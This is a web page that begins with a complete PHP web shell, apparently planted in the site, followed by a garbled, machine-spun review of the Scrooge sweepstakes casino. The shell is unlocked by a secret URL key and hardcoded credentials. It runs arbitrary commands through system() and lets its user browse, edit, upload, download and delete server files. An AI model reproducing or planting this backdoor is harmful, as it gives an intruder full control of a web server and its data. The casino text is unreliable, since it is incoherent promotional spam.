if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Scrooge McDuck is the website’s mascot, adding a small fun towards or even expensive appearance, also – collectives.berlin

Your digital paradise.

Scrooge McDuck is the website’s mascot, adding a small fun towards or even expensive appearance, also

not, it�s worthy of detailing one one Coins and you will Sweepstakes Tokens was taken from people membership that was inactive for more than two months. Needless to say, Gold coins allow you to play for enjoyable, you don’t need to worry about to play during your GC anyway. In turn, discover 150+ finest titles to utilize their added bonus all over, and of a lot game supported by the likes of Calm down Gambling and you will SlotMill. As mentioned, this type of gold coins are a gamble-for-enjoyable token, so I would strongly recommend boosting your you can easily online game time of the means the GC revolves only they will go. The answer to this is certainly sweet and simple � Zero, you do not need a password towards welcome incentive.

Here, you will find the same layouts and you will color scheme; not, a fall-off eating plan and you may reduced titles are put. Scrooge is going to appeal to the masses, providing you with a classic build and you will an easy style � it simply won’t elevates long to acquire comfortable here. After you have passed confirmation monitors, you may then manage to decide if you wager enjoyable otherwise to your risk of afterwards redeeming awards.

In addition to, the fresh new responsive construction means that the site adjusts better to several screen models, delivering a smooth sense whether you are playing with a smartphone or tablet. The website is actually naturally outlined, which have clear menus and you may fast access buttons that make seeking online game and you can advertisements effortless. You could, not, nonetheless without difficulty access the new societal casino through your mobile device’s websites browser. Prior to i wade any longer, you will need to clarify that Scrooge isn�t good �Put and you may Detachment� internet casino. When you sign-up today and you can end up creating a free account at the latest SCROOGE money gambling establishment, you’ll be able to immediately get 2 million 100 % free Gold coins and you may 250 totally free Sweeps Tokens. Simply here are some all of our list of an educated the fresh public gambling enterprises in the usa now.

When you find yourself that is lower than a number of my almost every other required sweepstakes gambling enterprises, the latest diversity assures there is something for nearly people. Having things a tiny more, you could are their fish game, particularly Shark Frenzy. You’ll find Book of Ra Deluxe more than 100 position games of greatest-level organization for example Settle down Gaming, Evoplay, Playson, and you can BGaming, providing high-quality graphics, varied themes, and you may pleasing have. These people were trying to access the fresh gambling establishment of a small part.

When you find yourself caught inside the a banned part, your account would be prohibited

The new crash video game specifically extremely build Scrooge excel, and so are finest if you’re looking having one thing undoubtedly some other in the the field of personal gambling enterprises. Within Scrooge, this is when you utilize Sweeps Tokens, known as Sweeps Gold coins at other social gambling enterprises. During my evaluating, my personal honor redemptions struck my PayPal or CashApp account within this 2 weeks. But not, you’ll need to over its KYC processes in advance of you happen to be permitted change Sweeps Tokens to own prizes.

Extremely social casinos and sweepstakes casinos bring a no-put extra to draw the brand new participants and you will desired these to the latest webpages…and Scrooge isn’t any exception to this rule! Very, if you’re not entirely obsessed about Scrooge Gambling enterprise and you will what it is offering, don�t worry! For 1, I happened to be sometime disappointed to the $100 lowest for cash prize redemptions, that’s some time steep than the most other similar systems. I happened to be really amazed for the societal casino’s wide array of video game, which has ports, dining table games, electronic poker, keno, seafood video game, and much more!

Scrooge is a sweeps gambling enterprise, which means it�s accessible in every Us condition

Of course you ought to browse the T&Cs before signing around be sure to know-all the fresh legislation, in order to guarantee the bonus has never altered since i put to each other this opinion. Plus the truth it actually was one of the largest incentives I have seen, I also appreciated with including a large virtual equilibrium, providing myself done liberty to genuinely explore the website and try away a lot of the newest games. Which required lower than several moments to do, and then the bonus are in a position for me personally to use.

You can add more Sweeps Tokens for you personally for the acceptance bonus and the every day log-within the contract. We recommend that participants make use of sales quickly to be sure bonuses are gained and not sacrificed. Upfront saying this render or any other selling, it is important to discover more about venture terminology.

Entering a trip from the bright world of on the internet social casinos, the Scrooge Gambling establishment opinion aims to give an insightful exploration out of this sweepstakes-established gaming platform. To be sure after that conformity, SCROOGE Casino implements a great KYC (Learn The Customer) have a look at, allowing merely users that 18+ and you may live-in legal says to access the working platform. Instead, the platform is internet browser-depending, in order to log on to straight from the cellular web browser. Like any public gambling enterprises and you can sweepstakes casinos, Scrooge also offers a good amount of digital harbors, giving people many themes and you may gameplay looks in order to select from. The working platform has a fairly positive character to the TrustPilot, but it is more combined for the Reddit. The simple details of count was, Scrooge is completely mobile-friendly, and all its online game was obtainable instantly and no annoying obtain specifications.